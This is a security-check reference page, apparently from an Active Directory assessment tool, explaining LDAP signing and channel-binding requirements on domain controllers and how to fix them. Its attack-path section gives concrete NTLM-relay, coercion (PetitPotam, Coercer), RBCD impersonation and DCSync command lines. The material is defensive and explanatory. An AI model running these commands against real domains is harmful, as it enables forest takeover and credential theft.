ADNET-001: LDAP Signing Required on Domain Controllers
- Platform
- Active Directory
- Category
- AD Network & Relay Preconditions
- Severity
- Critical
- Zero Trust pillar
- Networks (weight 3)
- Golden fixtures
- 3
- Branch coverage
- Observed: fixtures prove the verdicts they exercise
- Provenance
- baseline
What it checks
The check enumerates every domain controller (objectClass=nTDSDSA parent server objects, and the LDAP server property of each DC) and evaluates the effective value of HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity. The setting is also exposed through the Group Policy security option "Domain controller: LDAP server signing requirements" which writes the policy value to the Default Domain Controllers GPO under MACHINE\Microsoft\Windows NT\DS\LDAPServerIntegrity. Three values are possible: 0 = None (signing not requested), 1 = Negotiate signing (the historic default, which permits unsigned binds and is therefore equivalent to None for the purpose of relay defense), and 2 = Require signing (the only value that closes the relay sink). The check additionally inspects the related setting LdapEnforceChannelBinding (HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters) which governs LDAPS Extended Protection for Authentication and must be set to 2 (Always) to close the parallel LDAPS relay path. Guerrilla queries each DC over LDAP and via remote registry where permitted, captures the per-DC value, and cross-references the effective GPO setting from the SYSVOL GptTmpl.inf. Any DC reporting LDAPServerIntegrity = 0 or 1 is reported as a FAIL. Any DC with LDAPServerIntegrity = 2 but LdapEnforceChannelBinding = 0 is reported with a partial finding because LDAPS over port 636 remains relayable.
Why it matters
NTLM relay to LDAP on a domain controller is the canonical full-forest compromise path. The chain has three properties that make it lethal. First, authentication coercion is trivial: PetitPotam (MS-EFSRPC), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), and ShadowCoerce (MS-FSRVP) all force a target computer, including a domain controller, to authenticate to an attacker-controlled host with no credentials required by the attacker. Second, the relay sink is the directory itself: when the relayed identity is a computer account, the attacker can modify that account properties via LDAP, including msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD takeover, dirkjanm 2019) and msDS-KeyCredentialLink (Shadow Credentials, Elad Shamir 2019). Third, relaying a domain controller computer account to LDAP on another DC permits arbitrary directory writes as a Tier 0 principal, which yields DCSync rights, Group Policy modification, and any other directory operation the DC itself can perform. The blast radius is the entire forest. Microsoft Defender for Identity, Mandiant M-Trends, and the CISA AA22-074A advisory all rank LDAP relay among the top initial-foothold-to-Domain-Admin chains observed in real intrusions. The historic default of LDAPServerIntegrity = 1 (Negotiate) is treated by attackers as "off" because the client controls whether to sign, and ntlmrelayx happily forwards unsigned binds.
Attack path
Step 1: Foothold on the network. The attacker has any position from which they can receive a TCP connection from a domain controller. This can be a low-privilege domain user on a workstation, an unauthenticated foothold on the same VLAN, or a compromised non-domain host that the DC can reach. Step 2: Start a relay listener. The attacker runs Impacket ntlmrelayx targeting LDAP on a different domain controller: ntlmrelayx.py -t ldap://dc02.contoso.local --delegate-access --escalate-user lowpriv. The --delegate-access flag instructs ntlmrelayx to perform an RBCD takeover on successful relay. Step 3: Coerce DC authentication. The attacker triggers any coercion primitive against the target DC. PetitPotam.py -u "" -p "" 10.0.0.5 dc01.contoso.local (unauthenticated path patched in CVE-2021-36942 but other entrypoints remain), or Coercer.py coerce -l 10.0.0.5 -t dc01.contoso.local using MS-RPRN, MS-DFSNM, MS-FSRVP, or MS-EFSRPC. The DC machine account opens an SMB or RPC session back to the attacker host and offers NTLM authentication. Step 4: Relay to LDAP. ntlmrelayx forwards the NTLM_AUTHENTICATE blob to ldap://dc02.contoso.local. Because LDAPServerIntegrity = 1 (Negotiate), dc02 accepts the unsigned bind and authenticates the session as DC01$. If the target were LDAPS (port 636) and LdapEnforceChannelBinding were 0, the same relay succeeds over TLS because the bind does not bind to the channel. Step 5: Directory write for RBCD. ntlmrelayx creates an attacker-controlled computer account (a default authenticated user can create up to ms-DS-MachineAccountQuota machines), then writes msDS-AllowedToActOnBehalfOfOtherIdentity on a target computer (often another DC) granting the attacker computer the right to impersonate any principal to that target via S4U2Self and S4U2Proxy. Alternatively the relay writes msDS-KeyCredentialLink (Shadow Credentials) for PKINIT-based credential recovery. Step 6: Kerberos impersonation. The attacker requests a service ticket as Administrator via the RBCD primitive: getST.py -spn cifs/dc01.contoso.local -impersonate Administrator contoso.local/attacker$:Password. The returned TGS authenticates SMB to the target DC as the domain Administrator. Step 7: DCSync and persistence. With Administrator on a DC, the attacker performs DCSync (secretsdump.py -just-dc), extracts the krbtgt hash, and forges golden tickets for full-forest persistence. Total elapsed time from coercion to krbtgt hash on a typical environment is under five minutes.
How Guerrilla assesses it
Guerrilla performs three correlated reads. First, it enumerates domain controllers via the LDAP filter (&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192)) where the 0x2000 bit indicates SERVER_TRUST_ACCOUNT (a DC). For each DC it captures dNSHostName, operatingSystem, and operatingSystemVersion. Second, it reads the effective LDAPServerIntegrity value: where remote registry is available it queries HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity; otherwise it parses the GPO Security Template from \\domain\SYSVOL\domain\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf for the line LDAPServerIntegrity=4,2 (the value following the comma is the setting). Third, it reads LdapEnforceChannelBinding from the same key to evaluate the LDAPS relay path. The check then probes the LDAP service directly with an unsigned simple bind attempt on TCP/389 and an unsigned SASL bind without integrity, and records whether the DC accepts or rejects the bind. A DC that rejects the unsigned bind with LDAP result code 8 (strongerAuthRequired) is confirmed enforcing; a DC that accepts the bind confirms a relay sink. The runtime telemetry counterpart that Guerrilla emits is to enable LDAP Interface Events (DC Diagnostic event logging value 16 LDAP Interface Events = 2) and to alert on Directory Service Event ID 2889 (unsigned bind from a remote client) and Event ID 2887 (24-hour rollup of unsigned binds).
Recommended value
Default Domain Controllers Policy sets 'Domain controller: LDAP server signing requirements' to 'Require signing' (LDAPServerIntegrity = 2)
Remediation
Edit the Default Domain Controllers Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > 'Domain controller: LDAP server signing requirements' = 'Require signing'. Verify with: reg query HKLM\System\CurrentControlSet\Services\NTDS\Parameters /v LDAPServerIntegrity (should be 2). Microsoft has been hardening this default since 2020 (ADV190023) and will enforce it by default in future Windows Server releases.
Fixture-proven verdicts
Every verdict below is proven by a golden fixture in the module's gating test suite. This table derives from the last green run; it cannot be edited by hand.
| Scenario | Expected verdict |
|---|---|
| clean | PASS |
| known-bad | FAIL |
| throttled | Not Assessed |
Framework mappings
- NIST SP 800-53
- SC-8, SC-23
- CIS AD Benchmark
- 6.1.1
- MITRE ATT&CK
- T1557.001